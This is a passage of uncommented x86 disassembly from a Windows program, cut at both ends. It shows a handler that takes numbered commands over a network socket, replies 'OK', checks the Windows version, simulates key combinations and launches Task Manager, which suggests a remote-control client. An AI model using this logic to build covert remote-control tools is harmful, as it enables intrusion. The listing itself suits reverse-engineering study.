add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4f6427]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040e0a1
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42adea
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x463620
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42ae13
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42ae39
push ebx
call fcn.00461dbe
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x42ae5e
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4642f0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42ae84
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x40]
mov dword [0x529120], eax
cmp dword [0x529120], 0
jne 0x42aef4
push reloc.WS2_32.dll_connect
push 0
push 0x4f642f
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80011
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aedf
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42aeef
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ccc7
push 0x80000301
push 0
push dword [0x529120]
push 1
mov ebx, 0x4646f0
call fcn.00461db8
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42af44
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push 0x4f6436
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42af73
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42af99
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80011
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42afbe
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42afce
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42b138
push str._OK_
push dword [ebp - 0x18]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b138
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x529120]
push 2
mov ebx, 0x464610
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42b0d8
push reloc.WS2_32.dll_connect
push 0
push 0x4f6442
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 0x19000
push 0x80000301
push 0
push dword [0x529120]
push 2
mov ebx, 0x4643d0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00411221
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b093
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b0a3
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80011
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42b0c8
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42b0d8
push ebx
call fcn.00461dbe
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x529120]
push 2
mov ebx, 0x464610
call fcn.00461db8
add esp, 0x1c
test eax, eax
je 0x42b138
push 0x80000301
push 0
push dword [0x529120]
push 1
mov ebx, 0x464310
call fcn.00461db8
add esp, 0x10
mov dword [0x529120], 0
mov dword [0x529124], 0
jmp 0x42ccc7
push str.80012
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b64b
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b175
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x4635e0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b19e
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b1c4
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42b1d8
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4f6442
push dword [ebp - 0x18]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b38d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b208
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x4623a0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4f6427]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040e0a1
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b253
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x463620
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42b27c
mov eax, 0x4f1c44
push eax
push 0x80000301
push 0
push dword [0x529128]
push 2
mov ebx, 0x464510
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42b2ac
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push dword [0x529128]
push 1
mov ebx, 0x4646f0
call fcn.00461db8
add esp, 0x10
mov dword [0x52912c], eax
push 0x80000301
push 0
push dword [0x52912c]
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b31a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b32d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b353
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42b378
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42b388
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42b5e1
push 0x4f6420
push dword [ebp - 0x18]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b5e1
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b3b9
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b3f4
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b41a
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42b43c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42b438
imul eax, dword [ebx]
jmp 0x42b42d
mov ecx, eax
test ecx, ecx
je 0x42b45b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42b454
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42b442
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 2
cmp eax, ecx
jl 0x42b485
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0
push 0
push 0
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42b4b4
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4642f0
call fcn.00461db8
add esp, 0x28
mov dword [0x529128], eax
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42b4ea
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42b507
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
mov dword [0x529130], eax
mov dword [0x52912c], 0
push 0x80000301
push 0
push dword [0x52912c]
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b573
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b586
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b5ac
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42b5d1
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42b5e1
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [0x529130], 0
je 0x42b606
mov eax, dword [0x52912c]
cmp dword [0x529130], eax
jne 0x42b606
mov eax, 1
jmp 0x42b60b
mov eax, 0
test eax, eax
je 0x42b646
push 0x80000301
push 0
push dword [0x529128]
push 1
mov ebx, 0x464310
call fcn.00461db8
add esp, 0x10
mov dword [0x529128], 0
mov dword [0x529130], 0
jmp 0x42ccc7
push str.80013
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b87d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b677
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c4e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b6b2
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b6d8
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42b6fa
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42b6f6
imul eax, dword [ebx]
jmp 0x42b6eb
mov ecx, eax
test ecx, ecx
je 0x42b719
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42b712
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42b700
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
push ebx
push ecx
mov ebx, dword [ebp - 0x14]
call fcn.0040ec20
dec eax
jns 0x42b747
push 4
call fcn.00461da6
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x42b75a
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f506a
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42b795
mov eax, 0x4e9a10
push eax
push 4
mov ebx, 0x4628a0
call fcn.00461db8
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x42b819
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b7c8
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b7f1
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ea0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b814
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42b878
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b82c
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b855
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b878
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ccc7
push str.80014
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c1c7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b8a9
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b8e4
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b90a
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42b92c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42b928
imul eax, dword [ebx]
jmp 0x42b91d
mov ecx, eax
test ecx, ecx
je 0x42b94b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42b944
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42b932
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040ec20
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42b99f
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42b98a
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
call fcn.004315da
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b9b2
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4f6462
push dword [ebp - 0x28]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b9f6
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42ba0a
call fcn.0043185a
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ba1d
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f6467
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ba61
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42ba75
call fcn.00431807
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ba88
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f646c
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bacc
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42baff
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x4b
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bafa
push 6
call fcn.00461da6
add esp, 4
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bb12
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4f6475
push dword [ebp - 0x28]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bb56
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42bb89
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x4b
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bb84
push 6
call fcn.00461da6
add esp, 4
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bb9c
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4f647e
push dword [ebp - 0x28]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bbe0
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42bbf4
call fcn.00431953
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bc07
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f6487
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bc4b
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42bc5f
call fcn.004319ca
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bc72
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f6494
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bcb6
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42be47
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529068]
test eax, eax
jne 0x42bce1
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x4625b0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x24], eax
push str.Windows_7
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bd25
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x42be11
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529068]
test eax, eax
jne 0x42bd50
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x4625b0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x2c], eax
push str.Windows_8
push dword [ebp - 0x2c]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42bd94
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x30], 0
jne 0x42be11
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x529068]
test eax, eax
jne 0x42bdbf
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x4625b0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x34], eax
push str.Windows_10
push dword [ebp - 0x34]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42be03
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x38], 0
jne 0x42be11
xor eax, eax
jmp 0x42be16
mov eax, 1
test eax, eax
je 0x42be42
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x4c
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42be42
push 6
call fcn.00461da6
add esp, 4
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42be5a
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.win7
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42be9e
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42bed1
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x4c
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42becc
push 6
call fcn.00461da6
add esp, 4
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bee4
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.AltF4
push dword [ebp - 0x28]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bf28
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42c003
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x12
mov eax, 0x4d
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bf65
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x73
mov eax, 0x4d
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bf98
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x12
mov eax, 0x4d
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bfcb
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x73
mov eax, 0x4d
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42bffe
push 6
call fcn.00461da6
add esp, 4
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c016
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.CtrlShiftEsc
push dword [ebp - 0x28]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c05a
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42c0c8
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_System32_taskmgr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42c0c3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x10
push 0x11
push 0x1b
call fcn.00431a06
jmp 0x42c1c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c0db
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.WinD
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c11f
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c1c2
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x5b
mov eax, 0x4e
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42c15c
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x44
mov eax, 0x4e
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42c18f
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x5b
mov eax, 0x4e
call fcn.00461dac
cmp dword [ebp - 0x24], esp
je 0x42c1c2
push 6
call fcn.00461da6
add esp, 4
jmp 0x42ccc7
push str.80015
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42c2af
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
